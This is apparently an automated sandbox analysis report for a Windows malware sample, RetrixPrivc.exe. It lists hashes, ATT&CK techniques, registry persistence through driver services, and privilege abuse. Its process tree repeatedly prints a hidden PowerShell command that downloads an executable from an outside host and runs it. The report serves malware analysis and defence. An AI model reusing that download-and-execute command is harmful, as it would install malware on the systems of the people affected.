a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a

General

Target
RetrixPrivc.exe
Size 3.5MB
Sample260623-e29lnsas6r
SHA256 a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a
MD5 e26a92774fb69c0bd18bba64bf9fc2f9
SHA1 11b98bc63cc11802f6281c57901b82dfb1629378
SHA512 d822d99592f086a108c171ded75a3aa0cb97ff7c88c35c679919f7755efe33a9288b22a19e2a0c1243c4adfb530ae527bdeb5c950a773fc4fdca67eb47cfb11f
SSDEEP 49152:QOMRWhtiKhjJfNrQqN3h9xm89+BKnHmYC7HWu9KQZjVbVunwEfil4LOQ:aShjoBKnHmYC7HWu9KQZjVbc
TLSH
T168F5AE17B3EA00DCE277917CD6675713EAB1381807368BDB13D099566FA3BD09ABA301
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe
4248	powershell.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\drv8DC4\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\drv8DC4.tmp"	RetrixPrivc.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\gdr8DC5\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\gdr8DC5.sys"	RetrixPrivc.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1988	RetrixPrivc.exe
1988	RetrixPrivc.exe
4248	powershell.exe
4840	powershell.exe
4248	powershell.exe
4840	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
4460	RetrixPrivc.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeLoadDriverPrivilege	4460	RetrixPrivc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4460	RetrixPrivc.exe
4460	RetrixPrivc.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 4480	1988	RetrixPrivc.exe	87
PID 4480 wrote to memory of 3840	4480	cmd.exe	88
PID 1988 wrote to memory of 4460	1988	RetrixPrivc.exe	90
PID 4460 wrote to memory of 1532	4460	RetrixPrivc.exe	91
PID 1532 wrote to memory of 2908	1532	cmd.exe	92
PID 3840 wrote to memory of 4840	3840	cmd.exe	95
PID 2908 wrote to memory of 4248	2908	cmd.exe	96
PID 4460 wrote to memory of 2096	4460	RetrixPrivc.exe	104
PID 4460 wrote to memory of 4232	4460	RetrixPrivc.exe	108
PID 4460 wrote to memory of 2296	4460	RetrixPrivc.exe	109

C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe
"C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4840
- C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe
  "C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe"
  2⤵
  - Sets service image path in registry
  - Suspicious behavior: LoadsDriver
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2908
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 49d9451c6ed820e9f2e3d68bfcca6bbcf957f4ec0dc3115abe184820befa9c66
MD5 10b03fc8424ccb593ab191f56b6ac09a
SHA1 993907deb8f0d2734758f3af5d51d60d2ba8e16e
SHA512 2ca5c29cfd7b274fe56029eb6fee2130f6f02ddcbfdb980b259afe2adebe28d321bb78d6405fddda0790afcb732ed6bfe11018d0035b7d0fd30a80bfef12d529
TLSH
T17821A837B3DC8921CC86163A009D9C1176B283C7819ECF9FAFC4D614A07F988CB21290
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_3ig3pjnt.fxu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ig3pjnt.fxu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1988-0-0x000001C3C5A50000-0x000001C3C5A51000-memory.dmp

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memory/4248-8-0x0000027E3FCF0000-0x0000027E3FD12000-memory.dmp

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memory/4460-2-0x00000192E1ED0000-0x00000192E1ED1000-memory.dmp

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memory/4460-1-0x00000192E0620000-0x00000192E0621000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads